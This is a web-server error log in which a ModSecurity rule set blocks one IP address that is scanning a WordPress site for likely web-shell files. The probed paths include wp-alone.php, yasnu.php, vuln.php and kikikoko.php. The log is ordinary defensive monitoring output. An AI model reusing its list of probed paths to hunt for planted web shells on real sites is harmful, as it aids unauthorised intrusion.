[Sun Apr 26 01:34:40.850477 2026] [:error] [pid 3212:tid 3223] [client 20.199.101.230:55082] [client 20.199.101.230] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp-alone.php"] [unique_id "aez7MPg-28TY8_YLtUe95wAAAQk"]
[Sun Apr 26 01:34:41.442165 2026] [:error] [pid 59896:tid 59924] [client 20.199.101.230:34955] [client 20.199.101.230] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp-alone.php"] [unique_id "aez7MbLLzhtkd-OXUgBVpwAAAFg"]
[Sun Apr 26 01:34:42.284285 2026] [:error] [pid 59898:tid 59978] [client 20.199.101.230:55071] [client 20.199.101.230] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp-alone.php"] [unique_id "aez7Mh-4vImxb0kbdzfd1wAAANg"]
[Sun Apr 26 01:34:42.875125 2026] [:error] [pid 3212:tid 3225] [client 20.199.101.230:55102] [client 20.199.101.230] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp-alone.php"] [unique_id "aez7Mvg-28TY8_YLtUe98gAAAQs"]
[Sun Apr 26 01:34:43.550800 2026] [:error] [pid 59985:tid 59988] [client 20.199.101.230:29846] [client 20.199.101.230] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/yasnu.php"] [unique_id "aez7MwF_zDvEhKvyTH7_KAAAAAE"]
[Sun Apr 26 01:34:44.291178 2026] [:error] [pid 59897:tid 59951] [client 20.199.101.230:48945] [client 20.199.101.230] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/yasnu.php"] [unique_id "aez7NPBrrkdzpEbmK4fA6gAAAJg"]
[Sun Apr 26 01:34:45.413745 2026] [:error] [pid 3212:tid 3238] [client 20.199.101.230:40018] [client 20.199.101.230] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/yasnu.php"] [unique_id "aez7Nfg-28TY8_YLtUe-BwAAARg"]
[Sun Apr 26 01:34:45.994421 2026] [:error] [pid 59897:tid 59946] [client 20.199.101.230:49695] [client 20.199.101.230] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/yasnu.php"] [unique_id "aez7NfBrrkdzpEbmK4fA7QAAAJM"]
[Sun Apr 26 01:34:46.540891 2026] [:error] [pid 59898:tid 59960] [client 20.199.101.230:55057] [client 20.199.101.230] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/sl.php"] [unique_id "aez7Nh-4vImxb0kbdzfd3wAAAMY"]
[Sun Apr 26 01:34:47.410113 2026] [:error] [pid 59896:tid 59908] [client 20.199.101.230:34973] [client 20.199.101.230] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/sl.php"] [unique_id "aez7N7LLzhtkd-OXUgBVsQAAAEg"]
[Sun Apr 26 01:34:48.079714 2026] [:error] [pid 59896:tid 59923] [client 20.199.101.230:43729] [client 20.199.101.230] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/sl.php"] [unique_id "aez7OLLLzhtkd-OXUgBVswAAAFc"]
[Sun Apr 26 01:34:49.772179 2026] [:error] [pid 59897:tid 59942] [client 20.199.101.230:48932] [client 20.199.101.230] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/sl.php"] [unique_id "aez7OfBrrkdzpEbmK4fA9QAAAI8"]
[Sun Apr 26 01:34:50.595520 2026] [:error] [pid 59897:tid 59946] [client 20.199.101.230:52650] [client 20.199.101.230] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/vuln.php"] [unique_id "aez7OvBrrkdzpEbmK4fA9wAAAJM"]
[Sun Apr 26 01:34:51.360422 2026] [:error] [pid 59897:tid 59941] [client 20.199.101.230:59858] [client 20.199.101.230] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/vuln.php"] [unique_id "aez7O_BrrkdzpEbmK4fA_gAAAI4"]
[Sun Apr 26 01:34:51.949331 2026] [:error] [pid 59897:tid 59948] [client 20.199.101.230:29851] [client 20.199.101.230] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/vuln.php"] [unique_id "aez7O_BrrkdzpEbmK4fA_wAAAJU"]
[Sun Apr 26 01:34:52.604588 2026] [:error] [pid 59985:tid 60011] [client 20.199.101.230:52668] [client 20.199.101.230] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/vuln.php"] [unique_id "aez7PAF_zDvEhKvyTH7_NgAAABg"]
[Sun Apr 26 01:34:53.353490 2026] [:error] [pid 3212:tid 3216] [client 20.199.101.230:48908] [client 20.199.101.230] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp-temp.php"] [unique_id "aez7Pfg-28TY8_YLtUe-EAAAAQI"]
[Sun Apr 26 01:34:54.074039 2026] [:error] [pid 59898:tid 59961] [client 20.199.101.230:16049] [client 20.199.101.230] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp-temp.php"] [unique_id "aez7Ph-4vImxb0kbdzfd6gAAAMc"]
[Sun Apr 26 01:34:54.680795 2026] [:error] [pid 59898:tid 59954] [client 20.199.101.230:53353] [client 20.199.101.230] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp-temp.php"] [unique_id "aez7Ph-4vImxb0kbdzfd7QAAAMA"]
[Sun Apr 26 01:34:55.336081 2026] [:error] [pid 59898:tid 59956] [client 20.199.101.230:40055] [client 20.199.101.230] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp-temp.php"] [unique_id "aez7Px-4vImxb0kbdzfd7wAAAMI"]
[Sun Apr 26 01:34:56.015549 2026] [:error] [pid 59985:tid 59988] [client 20.199.101.230:55075] [client 20.199.101.230] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp-content/themes/twentytwentyfive/assets/"] [unique_id "aez7QAF_zDvEhKvyTH7_OgAAAAE"]
[Sun Apr 26 01:34:56.781064 2026] [:error] [pid 3212:tid 3235] [client 20.199.101.230:40026] [client 20.199.101.230] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp-content/themes/twentytwentyfive/assets/"] [unique_id "aez7QPg-28TY8_YLtUe-EwAAARU"]
[Sun Apr 26 01:34:57.555302 2026] [:error] [pid 59896:tid 59910] [client 20.199.101.230:52614] [client 20.199.101.230] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp-content/themes/twentytwentyfive/assets/"] [unique_id "aez7QbLLzhtkd-OXUgBVugAAAEo"]
[Sun Apr 26 01:34:58.205993 2026] [:error] [pid 59898:tid 59970] [client 20.199.101.230:45406] [client 20.199.101.230] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp-content/themes/twentytwentyfive/assets/"] [unique_id "aez7Qh-4vImxb0kbdzfd9gAAANA"]
[Sun Apr 26 01:34:59.037207 2026] [:error] [pid 59896:tid 59920] [client 20.199.101.230:52666] [client 20.199.101.230] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp-includes/blocks/buttons/"] [unique_id "aez7Q7LLzhtkd-OXUgBVvgAAAFQ"]
[Sun Apr 26 01:34:59.589243 2026] [:error] [pid 59898:tid 59977] [client 20.199.101.230:59073] [client 20.199.101.230] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp-includes/blocks/buttons/"] [unique_id "aez7Qx-4vImxb0kbdzfd-AAAANc"]
[Sun Apr 26 01:35:00.196830 2026] [:error] [pid 59898:tid 59956] [client 20.199.101.230:59896] [client 20.199.101.230] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp-includes/blocks/buttons/"] [unique_id "aez7RB-4vImxb0kbdzfd-wAAAMI"]
[Sun Apr 26 01:35:01.096174 2026] [:error] [pid 59896:tid 59918] [client 20.199.101.230:40057] [client 20.199.101.230] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp-includes/blocks/buttons/"] [unique_id "aez7RbLLzhtkd-OXUgBVwQAAAFI"]
[Sun Apr 26 01:35:01.834110 2026] [:error] [pid 59896:tid 59924] [client 20.199.101.230:34985] [client 20.199.101.230] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/class-bda.php"] [unique_id "aez7RbLLzhtkd-OXUgBVxAAAAFg"]
[Sun Apr 26 01:35:02.516251 2026] [proxy_fcgi:error] [pid 59985:tid 59998] [client 20.199.101.230:43752] AH01071: Got error 'Primary script unknown'
[Sun Apr 26 01:35:02.754664 2026] [proxy_fcgi:error] [pid 59985:tid 59993] [client 20.199.101.230:43752] AH01071: Got error 'Primary script unknown'
[Sun Apr 26 01:35:03.057020 2026] [proxy_fcgi:error] [pid 59985:tid 60001] [client 20.199.101.230:43752] AH01071: Got error 'Primary script unknown'
[Sun Apr 26 01:35:03.295428 2026] [proxy_fcgi:error] [pid 59985:tid 59999] [client 20.199.101.230:43752] AH01071: Got error 'Primary script unknown'
[Sun Apr 26 01:35:03.534396 2026] [proxy_fcgi:error] [pid 59985:tid 59996] [client 20.199.101.230:43752] AH01071: Got error 'Primary script unknown'
[Sun Apr 26 01:35:03.774210 2026] [proxy_fcgi:error] [pid 59985:tid 60007] [client 20.199.101.230:43752] AH01071: Got error 'Primary script unknown'
[Sun Apr 26 01:35:04.069129 2026] [proxy_fcgi:error] [pid 59985:tid 60000] [client 20.199.101.230:43752] AH01071: Got error 'Primary script unknown'
[Sun Apr 26 01:35:04.320351 2026] [proxy_fcgi:error] [pid 59985:tid 60011] [client 20.199.101.230:43752] AH01071: Got error 'Primary script unknown'
[Sun Apr 26 01:35:04.565744 2026] [proxy_fcgi:error] [pid 59985:tid 59997] [client 20.199.101.230:43752] AH01071: Got error 'Primary script unknown'
[Sun Apr 26 01:35:05.060738 2026] [proxy_fcgi:error] [pid 59985:tid 59988] [client 20.199.101.230:43752] AH01071: Got error 'Primary script unknown'
[Sun Apr 26 01:35:05.331003 2026] [:error] [pid 59985:tid 59990] [client 20.199.101.230:43752] [client 20.199.101.230] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/amdin.php"] [unique_id "aez7SQF_zDvEhKvyTH7_TAAAAAM"]
[Sun Apr 26 01:35:05.958305 2026] [:error] [pid 59897:tid 59935] [client 20.199.101.230:16036] [client 20.199.101.230] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/amdin.php"] [unique_id "aez7SfBrrkdzpEbmK4fBCwAAAIg"]
[Sun Apr 26 01:35:06.617707 2026] [:error] [pid 59896:tid 59914] [client 20.199.101.230:29824] [client 20.199.101.230] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/amdin.php"] [unique_id "aez7SrLLzhtkd-OXUgBV0AAAAE4"]
[Sun Apr 26 01:35:07.145876 2026] [:error] [pid 59896:tid 59919] [client 20.199.101.230:59131] [client 20.199.101.230] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/amdin.php"] [unique_id "aez7S7LLzhtkd-OXUgBV0gAAAFM"]
[Sun Apr 26 01:35:07.642990 2026] [:error] [pid 59896:tid 59908] [client 20.199.101.230:40050] [client 20.199.101.230] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/huya.php"] [unique_id "aez7S7LLzhtkd-OXUgBV1QAAAEg"]
[Sun Apr 26 01:35:08.200357 2026] [:error] [pid 59897:tid 59948] [client 20.199.101.230:52642] [client 20.199.101.230] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/huya.php"] [unique_id "aez7TPBrrkdzpEbmK4fBDgAAAJU"]
[Sun Apr 26 01:35:08.756273 2026] [:error] [pid 3212:tid 3229] [client 20.199.101.230:43745] [client 20.199.101.230] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/huya.php"] [unique_id "aez7TPg-28TY8_YLtUe-IwAAAQ8"]
[Sun Apr 26 01:35:09.329161 2026] [:error] [pid 3212:tid 3231] [client 20.199.101.230:49723] [client 20.199.101.230] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/huya.php"] [unique_id "aez7Tfg-28TY8_YLtUe-JAAAARE"]
[Sun Apr 26 01:35:09.845551 2026] [:error] [pid 3212:tid 3235] [client 20.199.101.230:16056] [client 20.199.101.230] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/puc.php"] [unique_id "aez7Tfg-28TY8_YLtUe-KQAAARU"]
[Sun Apr 26 01:35:10.385794 2026] [:error] [pid 3212:tid 3228] [client 20.199.101.230:45407] [client 20.199.101.230] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/puc.php"] [unique_id "aez7Tvg-28TY8_YLtUe-LAAAAQ4"]
[Sun Apr 26 01:35:10.908629 2026] [:error] [pid 3212:tid 3225] [client 20.199.101.230:40012] [client 20.199.101.230] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/puc.php"] [unique_id "aez7Tvg-28TY8_YLtUe-MgAAAQs"]
[Sun Apr 26 01:35:11.468644 2026] [:error] [pid 3212:tid 3235] [client 20.199.101.230:40008] [client 20.199.101.230] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/puc.php"] [unique_id "aez7T_g-28TY8_YLtUe-NgAAARU"]
[Sun Apr 26 01:35:12.091244 2026] [:error] [pid 3212:tid 3219] [client 20.199.101.230:59128] [client 20.199.101.230] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/themes.php"] [unique_id "aez7UPg-28TY8_YLtUe-OgAAAQU"]
[Sun Apr 26 01:35:12.711078 2026] [:error] [pid 3212:tid 3233] [client 20.199.101.230:55065] [client 20.199.101.230] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/themes.php"] [unique_id "aez7UPg-28TY8_YLtUe-QAAAARM"]
[Sun Apr 26 01:35:13.238911 2026] [:error] [pid 3212:tid 3230] [client 20.199.101.230:59863] [client 20.199.101.230] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/themes.php"] [unique_id "aez7Ufg-28TY8_YLtUe-QwAAARA"]
[Sun Apr 26 01:35:13.835424 2026] [:error] [pid 59896:tid 59921] [client 20.199.101.230:49675] [client 20.199.101.230] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/themes.php"] [unique_id "aez7UbLLzhtkd-OXUgBV3AAAAFU"]
[Sun Apr 26 01:35:14.444292 2026] [:error] [pid 3212:tid 3228] [client 20.199.101.230:59845] [client 20.199.101.230] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/ewp.php"] [unique_id "aez7Uvg-28TY8_YLtUe-RAAAAQ4"]
[Sun Apr 26 01:35:15.009612 2026] [:error] [pid 3212:tid 3216] [client 20.199.101.230:43727] [client 20.199.101.230] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/ewp.php"] [unique_id "aez7U_g-28TY8_YLtUe-RgAAAQI"]
[Sun Apr 26 01:35:15.735764 2026] [:error] [pid 3212:tid 3236] [client 20.199.101.230:55098] [client 20.199.101.230] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/ewp.php"] [unique_id "aez7U_g-28TY8_YLtUe-RwAAARY"]
[Sun Apr 26 01:35:16.242560 2026] [:error] [pid 59896:tid 59919] [client 20.199.101.230:29880] [client 20.199.101.230] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/ewp.php"] [unique_id "aez7VLLLzhtkd-OXUgBV5AAAAFM"]
[Sun Apr 26 01:35:16.765910 2026] [:error] [pid 59896:tid 59906] [client 20.199.101.230:34989] [client 20.199.101.230] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/kikikoko.php"] [unique_id "aez7VLLLzhtkd-OXUgBV5gAAAEY"]
[Sun Apr 26 01:35:17.299551 2026] [:error] [pid 59897:tid 59936] [client 20.199.101.230:29849] [client 20.199.101.230] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/kikikoko.php"] [unique_id "aez7VfBrrkdzpEbmK4fBEQAAAIk"]
[Sun Apr 26 01:35:17.890625 2026] [:error] [pid 59896:tid 59910] [client 20.199.101.230:48925] [client 20.199.101.230] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/kikikoko.php"] [unique_id "aez7VbLLzhtkd-OXUgBV6gAAAEo"]
[Sun Apr 26 01:35:18.599173 2026] [:error] [pid 59897:tid 59930] [client 20.199.101.230:59869] [client 20.199.101.230] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/kikikoko.php"] [unique_id "aez7VvBrrkdzpEbmK4fBEgAAAIM"]
